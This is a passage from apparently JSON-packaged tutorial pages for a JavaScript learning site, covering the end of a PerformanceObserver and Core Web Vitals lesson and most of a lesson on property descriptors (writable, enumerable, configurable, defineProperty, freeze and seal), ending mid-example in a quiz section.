  For most use cases, create separate observers with `type` for better control.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why is the `buffered` option important?\">\n    **Answer:**\n    \n    The `buffered` option tells the browser to include historical entries that were recorded before you called `observe()`. Without it, you only receive entries that occur after observation starts.\n    \n    This is crucial because:\n    - Your performance script might load after key events (like FCP or LCP)\n    - Resources might have already loaded by the time your code runs\n    - You want a complete picture, not just partial data\n    \n    ```javascript\n    // Script loads at 2000ms, but LCP happened at 1500ms\n    // Without buffered: You miss LCP entirely\n    // With buffered: First callback includes the LCP entry\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: How do you accurately measure CLS?\">\n    **Answer:**\n    \n    CLS (Cumulative Layout Shift) requires special handling:\n    \n    1. **Only count unexpected shifts** — Ignore shifts that follow user input\n    2. **Accumulate over time** — CLS is cumulative, so add up all shifts\n    3. **Report at the right time** — Send the final value when the page is hidden\n    \n    ```javascript\n    let clsValue = 0\n    \n    const observer = new PerformanceObserver((list) => {\n      list.getEntries().forEach(entry => {\n        if (!entry.hadRecentInput) {\n          clsValue += entry.value\n        }\n      })\n    })\n    \n    observer.observe({ type: 'layout-shift', buffered: true })\n    \n    document.addEventListener('visibilitychange', () => {\n      if (document.visibilityState === 'hidden') {\n        sendMetric('CLS', clsValue)\n      }\n    })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: Why use `sendBeacon()` instead of `fetch()` for analytics?\">\n    **Answer:**\n    \n    `sendBeacon()` is designed specifically for sending analytics data when the page is unloading:\n    \n    1. **Guaranteed delivery** — The browser ensures the request is sent even if the page closes\n    2. **Non-blocking** — Doesn't delay page navigation or closing\n    3. **Survives page unload** — Unlike `fetch()`, which may be cancelled\n    \n    ```javascript\n    // ❌ fetch() might be cancelled\n    window.addEventListener('beforeunload', () => {\n      fetch('/analytics', { method: 'POST', body: data })\n    })\n    \n    // ✅ sendBeacon() is reliable\n    document.addEventListener('visibilitychange', () => {\n      if (document.visibilityState === 'hidden') {\n        navigator.sendBeacon('/analytics', data)\n      }\n    })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What are Long Tasks and why do they matter?\">\n    **Answer:**\n    \n    Long Tasks are JavaScript tasks that block the main thread for more than 50ms. They matter because:\n    \n    1. **They block user interaction** — User can't click, scroll, or type while a long task runs\n    2. **They cause jank** — Animations and scrolling stutter\n    3. **They impact INP** — Long tasks directly worsen interaction responsiveness\n    \n    ```javascript\n    const observer = new PerformanceObserver((list) => {\n      list.getEntries().forEach(entry => {\n        console.warn(`Long task: ${entry.duration}ms`)\n        // Duration > 50ms is considered \"long\"\n      })\n    })\n    \n    observer.observe({ type: 'longtask', buffered: true })\n    ```\n    \n    If you see many long tasks, break up your JavaScript into smaller chunks or use Web Workers.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: How does web-vitals library improve on raw Performance Observer?\">\n    **Answer:**\n    \n    The web-vitals library handles many edge cases that are easy to get wrong:\n    \n    1. **LCP finalization** — Stops tracking when user interacts (correct behavior)\n    2. **CLS session windowing** — Uses proper 5-second windows with 1-second gaps\n    3. **INP calculation** — Correctly identifies the worst interaction, not just the first\n    4. **bfcache handling** — Properly handles back/forward cache navigations\n    5. **Prerender support** — Adjusts timings for prerendered pages\n    6. **Delta values** — Provides deltas for proper analytics deduplication\n    \n    ```javascript\n    import { onLCP } from 'web-vitals'\n    \n    onLCP((metric) => {\n      // All edge cases handled for you\n      console.log(metric.value)   // The LCP value\n      console.log(metric.rating)  // 'good', 'needs-improvement', or 'poor'\n      console.log(metric.delta)   // Change since last report\n    })\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is PerformanceObserver in JavaScript?\">\n    PerformanceObserver is a browser API that asynchronously observes performance measurement events — resource loading, paint timing, layout shifts, and more. It replaced the older polling-based `performance.getEntries()` approach with an event-driven callback model. MDN recommends it as the standard way to collect Real User Monitoring data.\n  </Accordion>\n\n  <Accordion title=\"What are Core Web Vitals and how do I measure them?\">\n    Core Web Vitals are three metrics Google uses to evaluate user experience: LCP (Largest Contentful Paint, target under 2.5s), CLS (Cumulative Layout Shift, target under 0.1), and INP (Interaction to Next Paint, target under 200ms). All three can be measured using PerformanceObserver. For production use, Google recommends the `web-vitals` library.\n  </Accordion>\n\n  <Accordion title=\"What does the buffered option do in PerformanceObserver?\">\n    The `buffered: true` option tells the browser to include performance entries recorded before you called `observe()`. Without it, you miss entries like FCP or LCP that occurred before your script loaded. Web.dev recommends always using `buffered: true` for metrics collection.\n  </Accordion>\n\n  <Accordion title=\"Why should I use sendBeacon instead of fetch for analytics?\">\n    `navigator.sendBeacon()` is designed to reliably send data even when a page is unloading — unlike `fetch()`, which may be cancelled. MDN documents that `sendBeacon` uses a POST request that the browser guarantees to deliver, making it ideal for sending performance metrics on the `visibilitychange` event.\n  </Accordion>\n\n  <Accordion title=\"What is a Long Task and why does it matter?\">\n    A Long Task is any JavaScript task that blocks the main thread for more than 50ms. During a Long Task, users cannot click, scroll, or type. According to web.dev, Long Tasks are the primary cause of poor INP scores. Monitor them with `observer.observe({ type: 'longtask' })` and break up heavy code into smaller chunks.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Event Loop\" icon=\"arrows-spin\" href=\"/concepts/event-loop\">\n    Understand how the browser schedules tasks and why long tasks block the main thread\n  </Card>\n  <Card title=\"Callbacks\" icon=\"phone\" href=\"/concepts/callbacks\">\n    Performance Observer uses callbacks to notify you of new entries asynchronously\n  </Card>\n  <Card title=\"Web Workers\" icon=\"gears\" href=\"/concepts/web-workers\">\n    Move heavy computation off the main thread to prevent long tasks\n  </Card>\n  <Card title=\"HTTP & Fetch\" icon=\"globe\" href=\"/concepts/http-fetch\">\n    Understanding network requests helps interpret resource timing data\n  </Card>\n</CardGroup>\n\n---\n\n## Resources\n\n<CardGroup cols={2}>\n  <Card title=\"Performance Observer — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/PerformanceObserver\">\n    Complete API reference including all methods, properties, and browser compatibility tables\n  </Card>\n  <Card title=\"Performance API — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Performance_API\">\n    Overview of the broader Performance API ecosystem and all related interfaces\n  </Card>\n  <Card title=\"PerformanceEntry Types — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/PerformanceEntry/entryType\">\n    Reference for all performance entry types and their specific properties\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Web Vitals — web.dev\" icon=\"newspaper\" href=\"https://web.dev/articles/vitals\">\n    Official guide to Core Web Vitals with thresholds, measurement tools, and optimization tips from Google\n  </Card>\n  <Card title=\"Custom Metrics — web.dev\" icon=\"newspaper\" href=\"https://web.dev/articles/custom-metrics\">\n    Comprehensive guide to measuring custom performance metrics using Performance Observer APIs\n  </Card>\n  <Card title=\"Best Practices for Web Vitals — web.dev\" icon=\"newspaper\" href=\"https://web.dev/articles/vitals-field-measurement-best-practices\">\n    Field measurement best practices for collecting accurate Core Web Vitals data in production\n  </Card>\n  <Card title=\"Long Tasks API — web.dev\" icon=\"newspaper\" href=\"https://web.dev/articles/optimize-long-tasks\">\n    Deep dive into detecting and optimizing long tasks that block the main thread\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Core Web Vitals — Google Chrome Developers\" icon=\"video\" href=\"https://www.youtube.com/watch?v=AQqFZ5t8uNc\">\n    Official introduction to Core Web Vitals metrics and why they matter for user experience\n  </Card>\n  <Card title=\"Performance Observer Explained\" icon=\"video\" href=\"https://www.youtube.com/watch?v=fr7VL7dXc6g\">\n    Practical walkthrough of Performance Observer API with real-world examples\n  </Card>\n  <Card title=\"Measuring Web Performance — HTTP 203\" icon=\"video\" href=\"https://www.youtube.com/watch?v=NxhJmFQSFqE\">\n    Jake Archibald and Surma discuss performance measurement techniques and common pitfalls\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/property-descriptors.mdx",
    "content": "---\ntitle: \"Property Descriptors in JS\"\nsidebarTitle: \"Property Descriptors: Hidden Property Flags\"\ndescription: \"Learn JavaScript property descriptors. Understand writable, enumerable, configurable flags, Object.defineProperty(), and how to create immutable properties.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Objects & Properties\"\n\"article:tag\": \"property descriptors, object.defineproperty, writable enumerable configurable, immutable properties, property flags\"\n---\n\nWhy can you delete most object properties but not `Math.PI`? Why do some properties show up in `for...in` loops while others don't? And how do you create a property that can never be changed?\n\n```javascript\n// You can't modify Math.PI\nMath.PI = 3  // Silently fails (or throws in strict mode)\nconsole.log(Math.PI)  // 3.141592653589793 - unchanged!\n\n// You can't delete it either\ndelete Math.PI  // false\nconsole.log(Math.PI)  // 3.141592653589793 - still there!\n```\n\nThe answer is **property descriptors**. Every property in JavaScript has hidden attributes that control how it behaves. Understanding these unlocks powerful patterns for creating robust, secure objects.\n\n```javascript\n// Check Math.PI's hidden attributes\nconst descriptor = Object.getOwnPropertyDescriptor(Math, 'PI')\nconsole.log(descriptor)\n// {\n//   value: 3.141592653589793,\n//   writable: false,      ← Can't change the value\n//   enumerable: false,    ← Won't show in for...in\n//   configurable: false   ← Can't delete or reconfigure\n// }\n```\n\n<Info>\n**What you'll learn in this guide:**\n- What property descriptors are and why they matter\n- The three property flags: `writable`, `enumerable`, `configurable`\n- How to use [`Object.defineProperty()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) to create controlled properties\n- Data descriptors vs accessor descriptors (getters/setters)\n- How to inspect properties with [`Object.getOwnPropertyDescriptor()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor)\n- Object-level protections: `freeze`, `seal`, and `preventExtensions`\n- Real-world use cases for property descriptors\n</Info>\n\n<Warning>\n**Prerequisite:** This guide references [Strict Mode](/beyond/concepts/strict-mode) for error behavior. Property descriptor errors are silent in non-strict mode but throw in strict mode.\n</Warning>\n\n---\n\n## What are Property Descriptors?\n\n**Property descriptors** are metadata objects that describe the characteristics of an object property. Every property in JavaScript has a descriptor that controls whether the property can be changed, deleted, or enumerated. When you create a property the \"normal\" way (with assignment), JavaScript sets all flags to permissive defaults. As defined in the [ECMAScript specification](https://tc39.es/ecma262/#sec-property-attributes), every property has internal attributes that determine its behavior — this mechanism is what powers built-in immutable properties like `Math.PI`.\n\n```javascript\nconst user = { name: \"Alice\" }\n\n// Check the descriptor for 'name'\nconsole.log(Object.getOwnPropertyDescriptor(user, 'name'))\n// {\n//   value: \"Alice\",\n//   writable: true,       ← Can change the value\n//   enumerable: true,     ← Shows in for...in\n//   configurable: true    ← Can delete or reconfigure\n// }\n```\n\nThink of property descriptors as the \"permissions\" for each property. Just like file permissions on your computer control who can read, write, or execute a file, property descriptors control what you can do with a property.\n\n---\n\n## The File Permissions Analogy\n\nIf you've used a computer, you've encountered file permissions. Property descriptors work the same way for object properties.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                 PROPERTY DESCRIPTORS: FILE PERMISSIONS                   │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   FILE PERMISSIONS (Computer)          PROPERTY DESCRIPTORS (JS)         │\n│   ────────────────────────────          ─────────────────────────        │\n│                                                                          │\n│   ┌──────────────────────────┐         ┌──────────────────────────┐     │\n│   │  Read    [✓]             │         │  enumerable    [✓]       │     │\n│   │  Write   [✓]             │   →     │  writable      [✓]       │     │\n│   │  Delete  [✓]             │         │  configurable  [✓]       │     │\n│   └──────────────────────────┘         └──────────────────────────┘     │\n│        Normal file                          Normal property              │\n│                                                                          │\n│   ┌──────────────────────────┐         ┌──────────────────────────┐     │\n│   │  Read    [✓]             │         │  enumerable    [✓]       │     │\n│   │  Write   [✗]             │   →     │  writable      [✗]       │     │\n│   │  Delete  [✗]             │         │  configurable  [✗]       │     │\n│   └──────────────────────────┘         └──────────────────────────┘     │\n│        Read-only file                       Constant property            │\n│                                                                          │\n│   Just like you can protect files, you can protect object properties.   │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## The Three Property Flags\n\nEvery data property has three flags that control its behavior. Let's explore each one.\n\n### `writable`: Can the Value Be Changed?\n\nWhen `writable` is `false`, the property becomes read-only. Assignment attempts silently fail in non-strict mode or throw a `TypeError` in [strict mode](/beyond/concepts/strict-mode).\n\n```javascript\n\"use strict\"\n\nconst config = {}\n\nObject.defineProperty(config, 'apiVersion', {\n  value: 'v2',\n  writable: false,    // Read-only\n  enumerable: true,\n  configurable: true\n})\n\nconsole.log(config.apiVersion)  // \"v2\"\n\nconfig.apiVersion = 'v3'  // TypeError: Cannot assign to read-only property\n```\n\n<Note>\nWithout `\"use strict\"`, the assignment would silently fail. The value would remain `\"v2\"` with no error message. This is why strict mode is recommended.\n</Note>\n\n### `enumerable`: Does It Show in Loops?\n\nWhen `enumerable` is `false`, the property is hidden from iteration methods like `for...in`, [`Object.keys()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys), and the [spread operator](/concepts/modern-js-syntax).\n\n```javascript\nconst user = { name: \"Alice\" }\n\n// Add a hidden metadata property\nObject.defineProperty(user, '_id', {\n  value: 12345,\n  writable: true,\n  enumerable: false,  // Hidden from iteration\n  configurable: true\n})\n\n// The property exists and works\nconsole.log(user._id)  // 12345\n\n// But it's invisible to iteration\nconsole.log(Object.keys(user))  // [\"name\"] - no _id!\n\nfor (const key in user) {\n  console.log(key)  // Only logs \"name\"\n}\n\n// Spread also ignores it\nconst copy = { ...user }\nconsole.log(copy)  // { name: \"Alice\" } - no _id!\n```\n\nThis is how JavaScript hides internal properties. For example, the `length` property of arrays is non-enumerable:\n\n```javascript\nconst arr = [1, 2, 3]\nconsole.log(arr.length)  // 3\n\n// But it doesn't show up in keys\nconsole.log(Object.keys(arr))  // [\"0\", \"1\", \"2\"] - no \"length\"\n```\n\n### `configurable`: Can It Be Deleted or Reconfigured?\n\nWhen `configurable` is `false`, you cannot:\n- Delete the property\n- Change any flag (except `writable`: you can still change `true` → `false`)\n- Change between data and accessor descriptor types\n\n```javascript\n\"use strict\"\n\nconst settings = {}\n\nObject.defineProperty(settings, 'debug', {\n  value: true,\n  writable: true,\n  enumerable: true,\n  configurable: false  // Locked configuration\n})\n\n// Can still change the value (writable is true)\nsettings.debug = false\nconsole.log(settings.debug)  // false\n\n// But can't delete it\ndelete settings.debug  // TypeError: Cannot delete property 'debug'\n\n// Can't make it enumerable: false\nObject.defineProperty(settings, 'debug', {\n  enumerable: false\n})  // TypeError: Cannot redefine property: debug\n```\n\n<Warning>\n**`configurable: false` is a one-way door.** Once you set it, you cannot undo it. Think carefully before making a property non-configurable.\n</Warning>\n\n---\n\n## Using `Object.defineProperty()`\n\nThe [`Object.defineProperty()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) method is how you create or modify properties with specific descriptors.\n\n### Basic Syntax\n\n```javascript\nObject.defineProperty(obj, propertyName, descriptor)\n```\n\n- `obj`: The object to modify\n- `propertyName`: A string or Symbol for the property name\n- `descriptor`: An object with the property settings\n\n### Creating a New Property\n\n```javascript\nconst product = {}\n\nObject.defineProperty(product, 'price', {\n  value: 99.99,\n  writable: true,\n  enumerable: true,\n  configurable: true\n})\n\nconsole.log(product.price)  // 99.99\n```\n\n### Default Values Are Restrictive\n\nWhen using `Object.defineProperty()`, any flag you don't specify defaults to `false`. This is the opposite of normal assignment!\n\n```javascript\nconst obj = {}\n\n// Normal assignment - all flags default to TRUE\nobj.a = 1\nconsole.log(Object.getOwnPropertyDescriptor(obj, 'a'))\n// { value: 1, writable: true, enumerable: true, configurable: true }\n\n// defineProperty - unspecified flags default to FALSE\nObject.defineProperty(obj, 'b', { value: 2 })\nconsole.log(Object.getOwnPropertyDescriptor(obj, 'b'))\n// { value: 2, writable: false, enumerable: false, configurable: false }\n```\n\n<Tip>\n**Rule of thumb:** Always explicitly set all the flags you care about when using `Object.defineProperty()`. Don't rely on defaults.\n</Tip>\n\n### Modifying Existing Properties\n\nYou can use `defineProperty` to change flags on existing properties:\n\n```javascript\nconst user = { name: \"Alice\" }\n\n// Make name read-only\nObject.defineProperty(user, 'name', {\n  writable: false\n})\n\n// Now it can't be changed\nuser.name = \"Bob\"  // Silently fails (throws in strict mode)\nconsole.log(user.name)  // \"Alice\"\n```\n\n---\n\n## Defining Multiple Properties at Once\n\n[`Object.defineProperties()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties) lets you define multiple properties in one call:\n\n```javascript\nconst config = {}\n\nObject.defineProperties(config, {\n  apiUrl: {\n    value: 'https://api.example.com',\n    writable: false,\n    enumerable: true,\n    configurable: false\n  },\n  timeout: {\n    value: 5000,\n    writable: true,\n    enumerable: true,\n    configurable: true\n  },\n  _internal: {\n    value: 'secret',\n    writable: false,\n    enumerable: false,  // Hidden\n    configurable: false\n  }\n})\n\nconsole.log(Object.keys(config))  // [\"apiUrl\", \"timeout\"] - no _internal\n```\n\n---\n\n## Inspecting Property Descriptors\n\n### Single Property: `Object.getOwnPropertyDescriptor()`\n\n```javascript\nconst user = { name: \"Alice\", age: 30 }\n\nconst nameDescriptor = Object.getOwnPropertyDescriptor(user, 'name')\nconsole.log(nameDescriptor)\n// {\n//   value: \"Alice\",\n//   writable: true,\n//   enumerable: true,\n//   configurable: true\n// }\n```\n\n### All Properties: `Object.getOwnPropertyDescriptors()`\n\n[`Object.getOwnPropertyDescriptors()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors) returns descriptors for all own properties:\n\n```javascript\nconst user = { name: \"Alice\", age: 30 }\n\nconsole.log(Object.getOwnPropertyDescriptors(user))\n// {\n//   name: { value: \"Alice\", writable: true, enumerable: true, configurable: true },\n//   age: { value: 30, writable: true, enumerable: true, configurable: true }\n// }\n```\n\n### Cloning Objects with Descriptors\n\nThe spread operator and `Object.assign()` don't preserve property descriptors. As documented by MDN, `Object.getOwnPropertyDescriptors()` was added in ES2017 specifically to enable proper cloning of objects including their accessor properties and flags:\n\n```javascript\nconst original = {}\nObject.defineProperty(original, 'id', {\n  value: 1,\n  writable: false,\n  enumerable: true,\n  configurable: false\n})\n\n// ❌ WRONG - spread loses the descriptor settings\nconst badClone = { ...original }\nbadClone.id = 999  // Works! Not read-only anymore\nconsole.log(badClone.id)  // 999\n\n// ✓ CORRECT - preserves all descriptors\nconst goodClone = Object.defineProperties(\n  {},\n  Object.getOwnPropertyDescriptors(original)\n)\ngoodClone.id = 999  // Silently fails (throws in strict mode)\nconsole.log(goodClone.id)  // 1 - still protected!\n```\n\n---\n\n## Data Descriptors vs Accessor Descriptors\n\nThere are two types of property descriptors:\n\n### Data Descriptors\n\nA **data descriptor** has a `value` and optionally `writable`. This is what we've been using:\n\n```javascript\n{\n  value: \"something\",\n  writable: true,\n  enumerable: true,\n  configurable: true\n}\n```\n\n### Accessor Descriptors\n\nAn **accessor descriptor** has `get` and/or `set` functions instead of `value` and `writable`. See [Getters & Setters](/beyond/concepts/getters-setters) for a deeper dive into accessor properties.\n\n```javascript\nconst user = {\n  firstName: \"Alice\",\n  lastName: \"Smith\"\n}\n\nObject.defineProperty(user, 'fullName', {\n  get() {\n    return `${this.firstName} ${this.lastName}`\n  },\n  set(value) {\n    const parts = value.split(' ')\n    this.firstName = parts[0]\n    this.lastName = parts[1]\n  },\n  enumerable: true,\n  configurable: true\n})\n\nconsole.log(user.fullName)  // \"Alice Smith\"\n\nuser.fullName = \"Bob Jones\"\nconsole.log(user.firstName)  // \"Bob\"\nconsole.log(user.lastName)   // \"Jones\"\n```\n\n<Warning>\n**You can't mix both.** A descriptor with both `value` and `get` (or `writable` and `set`) throws a `TypeError`. It must be one type or the other.\n</Warning>\n\n```javascript\n// ❌ This throws an error\nObject.defineProperty({}, 'broken', {\n  value: 42,\n  get() { return 42 }  // TypeError: Invalid property descriptor\n})\n```\n\n### Getter-Only Properties\n\nIf you only define a `get` without `set`, the property becomes read-only:\n\n```javascript\n\"use strict\"\n\nconst circle = { radius: 5 }\n\nObject.defineProperty(circle, 'area', {\n  get() {\n    return Math.PI * this.radius ** 2\n  },\n  enumerable: true,\n  configurable: true\n})\n\nconsole.log(circle.area)  // 78.53981633974483\n\ncircle.area = 100  // TypeError: Cannot set property 'area' which has only a getter\n```\n\n---\n\n## Object-Level Protections\n\nProperty descriptors control individual properties. JavaScript also provides methods to protect entire objects.\n\n### `Object.preventExtensions()`: No New Properties\n\n```javascript\nconst user = { name: \"Alice\" }\n\nObject.preventExtensions(user)\n\n// Can still modify existing properties\nuser.name = \"Bob\"\nconsole.log(user.name)  // \"Bob\"\n\n// But can't add new ones\nuser.age = 30  // Silently fails (throws in strict mode)\nconsole.log(user.age)  // undefined\n\n// Check if extensible\nconsole.log(Object.isExtensible(user))  // false\n```\n\n### `Object.seal()`: No Add/Delete, Can Still Modify\n\n[`Object.seal()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/seal) prevents adding or deleting properties by setting `configurable: false` on all existing properties. MDN notes that sealed objects are one of the most common patterns for creating configuration objects that should not have their structure modified at runtime:\n\n```javascript\nconst config = { debug: true, version: 1 }\n\nObject.seal(config)\n\n// Can modify values\nconfig.debug = false\nconsole.log(config.debug)  // false\n\n// Can't add properties\nconfig.newProp = \"test\"  // Silently fails\nconsole.log(config.newProp)  // undefined\n\n// Can't delete properties\ndelete config.version  // Silently fails\nconsole.log(config.version)  // 1\n\nconsole.log(Object.isSealed(config))  // true\n```\n\n### `Object.freeze()`: Complete Immutability\n\n[`Object.freeze()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze) makes an object completely immutable by setting `writable: false` and `configurable: false` on all properties:\n\n```javascript\nconst CONSTANTS = {\n  PI: 3.14159,\n  E: 2.71828,\n  GOLDEN_RATIO: 1.61803\n}\n\nObject.freeze(CONSTANTS)\n\n// Can't modify\nCONSTANTS.PI = 3  // Silently fails\nconsole.log(CONSTANTS.PI)  // 3.14159\n\n// Can't add\nCONSTANTS.NEW = 1  // Silently fails\n\n// Can't delete\ndelete CONSTANTS.E  // Silently fails\n\nconsole.log(Object.isFrozen(CONSTANTS))  // true\n```\n\n<Warning>\n**Freeze is shallow!** Nested objects are not frozen:\n\n```javascript\nconst user = {\n  name: \"Alice\",\n  address: { city: \"NYC\" }\n}\n\nObject.freeze(user)\n\nuser.name = \"Bob\"  // Fails - frozen\nuser.address.city = \"LA\"  // Works! Nested object isn't frozen\n\nconsole.log(user.address.city)  // \"LA\"\n```\n\nFor deep freeze, you need a recursive function or a library.\n</Warning>\n\n### Comparison Table\n\n| Method | Add | Delete | Modify Values | Modify Descriptors |\n|--------|-----|--------|---------------|-------------------|\n| Normal object | ✅ | ✅ | ✅ | ✅ |\n| `preventExtensions()` | ❌ | ✅ | ✅ | ✅ |\n| `seal()` | ❌ | ❌ | ✅ | ❌ |\n| `freeze()` | ❌ | ❌ | ❌ | ❌ |\n\n---\n\n## Real-World Use Cases\n\n### Creating Constants\n\n```javascript\nconst AppConfig = {}\n\nObject.defineProperties(AppConfig, {\n  API_URL: {\n    value: 'https://api.myapp.com',\n    writable: false,\n    enumerable: true,\n    configurable: false\n  },\n  MAX_RETRIES: {\n    value: 3,\n    writable: false,\n    enumerable: true,\n    configurable: false\n  }\n})\n\n// Works like constants\nconsole.log(AppConfig.API_URL)  // \"https://api.myapp.com\"\nAppConfig.API_URL = \"hacked\"    // Fails silently\nconsole.log(AppConfig.API_URL)  // \"https://api.myapp.com\" - unchanged\n```\n\n### Hidden Internal Properties\n\nThis pattern is similar to how you might use [closures](/concepts/scope-and-closures) to hide data, but works directly on object properties:\n\n```javascript\nfunction createUser(name, password) {\n  const user = { name }\n  \n  // Store password hash as non-enumerable\n  Object.defineProperty(user, '_passwordHash', {\n    value: hashPassword(password),\n    writable: false,\n    enumerable: false,  // Won't show up in JSON.stringify or Object.keys\n    configurable: false\n  })\n  \n  return user\n}\n\nconst user = createUser(\"Alice\", \"secret123\")\n\nconsole.log(JSON.stringify(user))  // {\"name\":\"Alice\"} - no password!\nconsole.log(Object.keys(user))      // [\"name\"] - no _passwordHash!\n```\n\n### Computed Properties That Look Like Regular Properties\n\n```javascript\nconst rectangle = {\n  width: 10,\n  height: 5\n}\n\nObject.defineProperty(rectangle, 'area', {\n  get() {\n    return this.width * this.height\n  },\n  enumerable: true,\n  configurable: true\n})\n\nconsole.log(rectangle.area)  // 50\n\nrectangle.width = 20\nconsole.log(rectangle.area)  // 100 - automatically updates!\n```\n\n### Validation on Assignment\n\nThis pattern is especially useful in [factory functions and classes](/concepts/factories-classes) where you want to enforce data integrity:\n\n```javascript\nconst person = { _age: 0 }\n\nObject.defineProperty(person, 'age', {\n  get() {\n    return this._age\n  },\n  set(value) {\n    if (typeof value !== 'number' || value < 0) {\n      throw new TypeError('Age must be a positive number')\n    }\n    this._age = value\n  },\n  enumerable: true,\n  configurable: true\n})\n\nperson.age = 25\nconsole.log(person.age)  // 25\n\nperson.age = -5   // TypeError: Age must be a positive number\nperson.age = \"old\"  // TypeError: Age must be a positive number\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Every property has a descriptor.** It controls whether the property is writable, enumerable, and configurable.\n\n2. **Normal assignment sets all flags to `true`.** Properties created with `=` are fully permissive by default.\n\n3. **`defineProperty` defaults flags to `false`.** Always explicitly set the flags you want when using this method.\n\n4. **`writable: false` makes a property read-only.** Assignment silently fails in non-strict mode, throws in strict mode.\n\n5. **`enumerable: false` hides the property.** It won't appear in `for...in`, `Object.keys()`, `JSON.stringify()`, or spread.\n\n6. **`configurable: false` is permanent.** You can never undo it. The property can't be deleted or reconfigured.\n\n7. **Data descriptors have `value` and `writable`.** Accessor descriptors have `get` and `set`. You can't mix them.\n\n8. **`Object.freeze()` is shallow.** Nested objects remain unfrozen. Use recursion for deep freeze.\n\n9. **Use `getOwnPropertyDescriptors()` for true cloning.** Spread and `Object.assign()` don't preserve descriptors.\n\n10. **Property descriptors power JavaScript's built-ins.** This is how `Math.PI` and array `.length` have special behavior.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"What's the difference between assigning a property normally vs using defineProperty?\">\n    **Answer:**\n    \n    When you assign a property normally (with `=`), all descriptor flags default to `true`:\n    \n    ```javascript\n    const obj = {}\n    obj.name = \"Alice\"\n    // { value: \"Alice\", writable: true, enumerable: true, configurable: true }\n    ```\n    \n    When you use `Object.defineProperty()`, unspecified flags default to `false`:\n    \n    ```javascript\n    Object.defineProperty(obj, 'id', { value: 1 })\n    // { value: 1, writable: false, enumerable: false, configurable: false }\n    ```\n    \n    This means properties created with `defineProperty` are restrictive by default.\n  </Accordion>\n  \n  <Accordion title=\"Why would you make a property non-enumerable?\">\n    **Answer:**\n    \n    Non-enumerable properties are hidden from iteration. This is useful for:\n    \n    1. **Internal/metadata properties** that shouldn't be serialized:\n    ```javascript\n    Object.defineProperty(user, '_internalId', {\n      value: 'xyz123',\n      enumerable: false\n    })\n    JSON.stringify(user)  // Won't include _internalId\n    ```\n    \n    2. **Methods on objects** that shouldn't appear in `for...in` loops\n    \n    3. **Matching built-in behavior** like `Array.prototype.length`\n  </Accordion>\n  \n  <Accordion title=\"What happens if you try to mix value and get in a descriptor?\">\n    **Answer:**\n    \n    You get a `TypeError`. A descriptor must be either a data descriptor (with `value` and optionally `writable`) or an accessor descriptor (with `get` and/or `set`). You cannot combine both:\n    \n    ```javascript\n    Object.defineProperty({}, 'prop', {\n      value: 42,\n      get() { return 42 }\n    })\n    // TypeError: Invalid property descriptor. Cannot both specify accessors\n    // and a value or writable attribute\n    ```\n  </Accordion>\n  \n  <Accordion title=\"How do you create a truly immutable constant in JavaScript?\">\n    **Answer:**\n    \n    Use `Object.defineProperty()` with `writable: false` and `configurable: false`:\n    \n    ```javascript\n    const CONFIG = {}\n    \n    Object.defineProperty(CONFIG, 'MAX_SIZE', {\n      value: 1024,\n      writable: false,      // Can't change the value\n      enumerable: true,     // Visible in iteration\n      configurable: false   // Can't delete or reconfigure\n    })\n    \n    CONFIG.MAX_SIZE = 9999  // Silently fails\n    delete CONFIG.MAX_SIZE  // Returns false\n    console.log(CONFIG.MAX_SIZE)  // 1024 - unchanged\n    ```\n    \n    For an entire object, use `Object.freeze()`. But remember it's shallow.\n  </Accordion>\n  \n  <Accordion title=\"Why doesn't Object.freeze() freeze nested objects?\">\n    **Answer:**\n    \n    `Object.freeze()` only affects the direct properties of the object, not nested objects. This is called \"shallow\" freezing:\n    \n    ```javascript\n    const data = {\n      user: { name: \"Alice\" }\n    }\n    \n    Object.freeze(data)\n    \n    data.user = {}  // Fails - data is frozen\n    data.user.name = \"Bob\"  // Works! user object isn't frozen\n    ```\n    \n    For deep freezing, you need a recursive function:\n    \n    ```javascript\n    function deepFreeze(obj) {\n      Object.freeze(obj)\n      for (const key of Object.keys(obj)) {\n        if (typeof obj[key] === 'object' && obj[key] !== null) {\n          deepFreeze(obj[key])\n        }\n      }\n      return obj\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"How do you clone an object while preserving its property descriptors?\">\n    **Answer:**\n    \n    Use `Object.defineProperties()` with `Object.getOwnPropertyDescriptors()`:\n    \n    ```javascript\n    const original = {}\n    Object.defineProperty(original, 'id', {\n      